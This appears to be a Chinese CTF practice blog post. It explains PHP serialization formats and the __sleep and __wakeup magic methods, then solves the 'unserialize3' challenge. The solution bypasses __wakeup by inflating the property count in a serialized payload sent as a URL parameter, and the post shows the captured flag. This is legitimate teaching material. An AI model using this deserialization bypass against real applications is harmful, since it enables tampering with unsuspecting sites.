您现在的位置是:首页 >技术交流 >CTF刷题日记20250210总结PHP序列化网站首页技术交流
CTF刷题日记20250210总结PHP序列化
新手刷题,简单刷题,简单总结
参考:
目录
序列化
(一)序列化格式
PHP serialize() 函数
serialize() 函数用于序列化对象和数组,并返回一个字符串,序列化用于存储或传递PHP的值的过程中,不丢失其类型和结构。serialize()函数原型如下:
string serialize ( mixed $value )
实例
<?php
class CC {
public $data;
private $pass;
public function __construct($data, $pass)
{
$this->data = $data;
$this->pass = $pass;
}
}
$number = 34;
$str = 'uusama';
$bool = true;
$null = NULL;
$arr = array('a' => 1, 'b' => 2);
$sites = array('Google', 'Runoob', 'Facebook');
$cc = new CC('uu', true);
var_dump(serialize($number));
var_dump(serialize($str));
var_dump(serialize($bool));
var_dump(serialize($null));
var_dump(serialize($arr));
var_dump(serialize($site));
var_dump(serialize($cc));
?>
输出结果为:
string(5) "i:34;"
string(13) "s:6:"uusama";"
string(4) "b:1;"
string(2) "N;"
string(30) "a:2:{s:1:"a";i:1;s:1:"b";i:2;}"
string(2) "N;"
string(52) "O:2:"CC":2:{s:4:"data";s:2:"uu";s:8:" CC pass";b:1;}"
序列化对于不同的类型得到的字符串格式为:
string : s:size:value;
int : i:value;
bool : b:value(0/1)
Null : N;
array : a:size:
object : O:strlen(object name):object name:object size:
(二)序列化对象
在序列化对象时,只保存对象的属性值,不保存常量的值。对于继承父类中的变量,则会保留,不保留常量值。
类CC继承了类CB中的变量CB_data,类CB称为类CC的父类
实例:
注释:
- 在PHP中,变量都用 $ 符开头,然后跟上变量名,常量不用 $ 符开头
- var_dump () 函数用于输出变量的相关信息,包括类型与值。
- 关键字
public
(公有),protected
(受保护)或private
(私有)来实现对属性或方法的访问控制。被定义为公有的类成员可以在任何地方被访问。 被定义为受保护的类成员则可以被其自身以及其子类和父类访问。被定义为私有的类成员则只能被其定义所在的类访问。
<?php
class CB {
public $CB_data = 'cb';
const FIRST = 100;
}
class CC extends CB{
const SECOND = 60;
public $data;
private $pass;
public function __construct($data, $pass)
{
$this->data = $data;
$this->pass = $pass;
}
public function setPass($pass)
{
$this->pass = $pass;
}
}
$cc = new CC('uu', true);
var_dump(serialize($cc));
?>
运行结果:
string(75) "O:2:"CC":3:{s:4:"data";s:2:"uu";s:8:" CC pass";b:1;s:7:"CB_data";s:2:"cb";}"
(三)对象序列化的自定义
__sleep()魔术方法
魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作。PHP 保留所有以
__
开头的方法名称
在序列化对象的时候,对于对象中的一些敏感属性,我们不需要显示或保存,这又该如何处理呢?
当调用serialize()
函数序列化对象时,该函数会检查类中是否存在一个魔术方法__sleep()
。如果存在,该方法会先被调用,然后才执行序列化操作。可以通过重载这个方法,从而自定义序列化行为。该方法原型如下:
public __sleep(): array
- 该方法返回一个包含对象中所有应被序列化的变量名称的数组
- 如果该方法未返回任何内容,则
null
被序列化,并产生一个E_NOTICE
级别的错误。 - __sleep() 不能返回父类的私有成员的名字。这样做会产生一个
E_NOTICE
级别的错误。使用 __serialize() 接口替代。。 - 常用于保存那些大对象时的清理工作,避免保存过多冗余数据
实例
<?php
class User{
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password)
{
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
// 重载序列化调用的方法
public function __sleep()
{
// 返回需要序列化的变量名,过滤掉password变量
return array('username', 'nickname');
}
}
$user = new User('uusama', 'uu', '123456');
var_dump(serialize($user));
?>
运行结果
string(67) "O:4:"User":2:{s:8:"username";s:6:"uusama";s:8:"nickname";s:2:"uu";}"
显然序列化的时候忽略了 password 字段的值。
反序列化
通过上面的讲解,我们可以将对象序列化为字符串并保存起来,那么如何把这些序列化后的字符串恢复成原样呢?PHP提供了反序列函数unserialize()。
函数原型unserialize():
mixed unserialize ( string $str )
- unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
- 如果传递的字符串不可解序列化,则返回 FALSE,并产生一个
E_NOTICE级错误
- 返回的是转换之后的值,可为
integer、float
、string
、array
或object
- 若被反序列化的变量是一个对象,在成功重新构造对象之后,PHP会自动地试图去调用
__wakeup()
成员函数(如果存在的话)
实例
<?php
class CB {
public $CB_data = 'cb';
const FIRST = 100;
}
class CC extends CB{
const SECOND = 60;
public $data;
private $pass;
public function __construct($data, $pass)
{
$this->data = $data;
$this->pass = $pass;
}
public function setPass($pass)
{
$this->pass = $pass;
}
}
$cc = new CC('uu', true);
var_dump(serialize($cc));
var_dump(unserialize('O:2:"CC":3:{s:4:"data";s:2:"uu";s:8:" CC pass";b:1;s:7:"CB_data";s:2:"cb";}'));
?>
运行结果:
第一行为字符串序列,第二行往后为反序列化的结果
string(75) "O:2:"CC":3:{s:4:"data";s:2:"uu";s:8:" CC pass";b:1;s:7:"CB_data";s:2:"cb";}"
object(CC)#2 (4) {
["data"]=>
string(2) "uu"
["pass":"CC":private]=>
NULL
["CB_data"]=>
string(2) "cb"
[" CC pass"]=>
bool(true)
}
__wakeup()魔术方法
-
unserialize()会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用
__wakeup
方法,预先准备对象需要的资源。 - __wakeup()__wakeup()__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
<?php
class User{
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __construct($username, $nickname, $password)
{
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
// 定义反序列化后调用的方法
public function __wakeup()
{
$this->password = $this->username;
}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:6:"uusama";s:8:"nickname";s:2:"uu";}';
var_dump(unserialize($user_ser));
?>
运行结果:
object(User)#1 (4) {
["username"]=>
string(6) "uusama"
["nickname"]=>
string(2) "uu"
["password":"User":private]=>
string(6) "uusama"
["order":"User":private]=>
NULL
}
__wakeup()
函数在对象被构建以后执行,所以$this->username的值不为空- 反序列化时,会尽量将变量值进行匹配并复制给序列化后的对象
unserialize3
题目分析:
要通过get方式传参给code,但是如何绕过__wakeup()函数呢?这里需要利用__wakeup()函数的漏洞
通过前面的讲解,我们想到PHP序列化,在代码前面加上<?php结尾加上?>就可以运行,在线运行
<?php
class xctf{
public $flag='111';
function __wakeup(){
exit('bad requests');
}
}
$test = new xctf();
var_dump(serialize($test));
?>
- 实例化xctf类并对其使用序列化(这里就实例化xctf类为对象test)
运行结果:
string(36) "O:4:"xctf":1:{s:4:"flag";s:3:"111";}"
- __wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
- 我们构造url: http:/61.147.171.105:52738?code=O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;},在反序列化的过程中会唤醒__wakeup()函数,导致无法将参数传给code,如下所示:
重新构造,我们将序列化字符串中的对象属性值改为2,url: http:/61.147.171.105:52738?code=O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;},发现绕过了__wakeup()
访问url: http:/61.147.171.105:52738?code=O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
cyberpeace{26eb4cdc890844f8184405fd1be5891e}